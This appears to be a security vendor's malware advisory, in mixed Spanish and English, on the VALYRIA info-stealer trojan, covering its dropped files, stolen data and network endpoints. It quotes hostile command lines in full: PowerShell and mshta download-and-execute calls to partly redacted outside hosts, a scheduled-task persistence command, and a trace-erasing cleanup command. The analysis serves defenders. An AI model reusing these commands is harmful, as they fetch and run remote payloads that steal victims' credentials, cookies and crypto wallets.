TrojanSpy.P97M.VALYRIA.YXBEZ

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Elimina archivos para impedir la ejecución correcta de programas y aplicaciones.

Descarga un archivo desde un determinado localizador uniforme de recursos (URL) y le cambia el nombre posteriormente antes de almacenarlo en el sistema afectado.

Se conecta a determinados sitios Web para enviar y recibir información.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega las carpetas siguientes:

• where stolen information is stored/copied to:
  • %ProgramData%\{randomly generated number}
  • %ProgramData%\{randomly generated number}\cc
  • %ProgramData%\{randomly generated number}\autofill
  • %ProgramData%\{randomly generated number}\cookies
  • %ProgramData%\{randomly generated number}\crypto

Infiltra los archivos siguientes:

• where gathered information is stored:
  • %ProgramData%\{randomly generated number}\{application}
  • %ProgramData%\{randomly generated number}\passwords.txt
  • %ProgramData%\{randomly generated number}\temp
  • %ProgramData%\{randomly generated number}\system.txt → gathered system information
  • %ProgramData%\{randomly generated number}\screenshot.jpg → screenshot of current display
• where gathered information is archived before exfiltrated:
  • %ProgramData%\{randomly generated number}\_{randomly generated number}.zip

Agrega los procesos siguientes:

• "%System%\mshta.exe" "http://www.j.mp/{redirection to specific number}"
• "%System%\WindowsPowerShell\v1.0\powershell.exe" i'E'x(iwr('https://i{BLOCKED}.us.archive.org/26/items/120-Crypted-03-June/{number}-1.txt') -useB);i'E'x(iwr('https://i{BLOCKED}.us.archive.org/26/items/120-Crypted-03-June/{number}-2.txt') -useB);i'E'x(iwr('https://i{BLOCKED}.us.archive.org/26/items/120-Crypted-03-June/{number}-3.txt') -useB);
  • starts the following processes:
    • %Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    • %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
• "%System%\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""http://1230948%{BLOCKED}x.blogspot.com/p/{number}.html\"
• #cmd
• "{path}"
• "%System%\cmd.exe" /c taskkill /pid {PID of injectedaspnet_compiler.exe } & erase %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe & RD /S /Q %ProgramData%\{randomly generated number}\* & exit

Este malware inyecta códigos en el/los siguiente(s) proceso(s):

• %Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
• %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

(Nota: %Windows% es la carpeta de Windows, que suele estar en C:\Windows o C:\WINNT).

Otras modificaciones del sistema

Elimina los archivos siguientes:

• after exfiltration:
  • %ProgramData%\sqlite3.dll
  • %ProgramData%\freebl3.dll
  • %ProgramData%\mozglue.dll
  • %ProgramData%\msvcp140.dll
  • %ProgramData%\nss3.dll
  • %ProgramData%\softokn3.dll
  • %ProgramData%\vcruntime140.dll
  • %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

(Nota: %Windows% es la carpeta de Windows, que suele estar en C:\Windows o C:\WINNT).

Elimina las carpetas siguientes:

• after exfiltration:
  • %ProgramData%\{randomly generated number}
  • %ProgramData%\{randomly generated number}\cc
  • %ProgramData%\{randomly generated number}\autofill
  • %ProgramData%\{randomly generated number}\cookies
  • %ProgramData%\{randomly generated number}\crypto

Rutina de descarga

Descarga archivos desde los siguientes localizadores uniformes de recursos (URL) y les cambia el nombre posteriormente antes de almacenarlos en el sistema afectado:

• Short URLs of initial connection:
  • http://www.j.mp/{redirection to specific resource}
  • http://bit.ly/{redirection to specific resource}
    • redirected to:
      • https://{BLOCKED}.blogspot.com/p/{number}.html → remote executes powershell/schtask for persistence
• https://{BLOCKED}63-7ecd-45e2-9eab-f8d98aab177f.{BLOCKED}es.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt → connects to the following URLs which downloads files and executes kuchb.vbs
  • https://{BLOCKED}63-7ecd-45e2-9eab-f8d98aab177f.{BLOCKED}es.com/ugd/73cceb_c28bcff4b4ac4d648a44cba2612ce3a6.txt → clone.vbs
  • https://{BLOCKED}63-7ecd-45e2-9eab-f8d98aab177f.{BLOCKED}es.com/ugd/73cceb_d6327f9589c84101ad8724c9d6eaea23.txt → kuchb.vbs
  • https://{BLOCKED}63-7ecd-45e2-9eab-f8d98aab177f.{BLOCKED}es.com/ugd/73cceb_8c96b0913b2d43038ded2f06e3ee527b.txt → batman.bat

Guarda los archivos que descarga con los nombres siguientes:

• %Public%\batman.bat → starts clone.vbs
• %Public%\kuchb.vbs → persistence for batman.bat
• %Public%\clone.vbs → disables security in infected machine
• %ProgramData%\sqlite3.dll
• %ProgramData%\freebl3.dll
• %ProgramData%\mozglue.dll
• %ProgramData%\msvcp140.dll
• %ProgramData%\nss3.dll
• %ProgramData%\softokn3.dll
• %ProgramData%\vcruntime140.dll

Robo de información

Recopila los siguientes datos:

• Screenshot of current display
• System Information
  • OS version
  • Username
  • Computer Name
  • System Language
  • Machine ID
  • GUID
  • Domain Name
  • Workgroup
  • Keyboard Language
• Hardware Information
  • Processor
  • # of Logical processors
  • Videocard
  • Display resolution
  • RAM
  • If desktop or laptop
• Local Time & Zone
• Network Information
  • IP Address
  • Country
• Installed Software & version
• Browser autofills, cookies & Login data from the followings:
  • Amigo
  • Blackhawk
  • Brave
  • Cent Browser
  • Chromium
  • CocCoc Browser
  • Comodo Dragon
  • CryptoTab
  • Cyberfox
  • Elements Browser
  • Epic Privacy Browser
  • Google Chrome
  • IceCat
  • KMeleon
  • Kometa
  • Maxthon5
  • Mozilla Firefox
  • Nichrome
  • Opera
  • Orbitum
  • Pale Moon
  • QIP Surf
  • Sputnik
  • TorBro
  • Torch
  • Uran Broswer
  • Vivaldi
  • Waterfox
• Email credentials:
  • Thunderbird
  • Outlook
• stored credit card information
• stored bitcoin wallets:
  • Anoncoin
  • BBQCoin
  • Bitcoin
  • DashCore
  • Electrum
  • Electrum-LTC
  • Ethereum
  • Exodus
  • Florincoin
  • Franko
  • Freicoin
  • GoldCoinGLD
  • IOCoin
  • Ixcoin
  • Litecoin
  • Megacoin
  • Mincoin
  • Multidoge
  • Namecoin
  • Primecoin
  • Terracoin
  • YACoin
  • Zcash
  • devcoin
  • digitalcoin
  • jaxx

Otros detalles

Se conecta al sitio Web siguiente para enviar y recibir información:

• http://{BLOCKED}.{BLOCKED}.107.28/l{number}//main.php
• http://{BLOCKED}.{BLOCKED}.107.28/l{number}/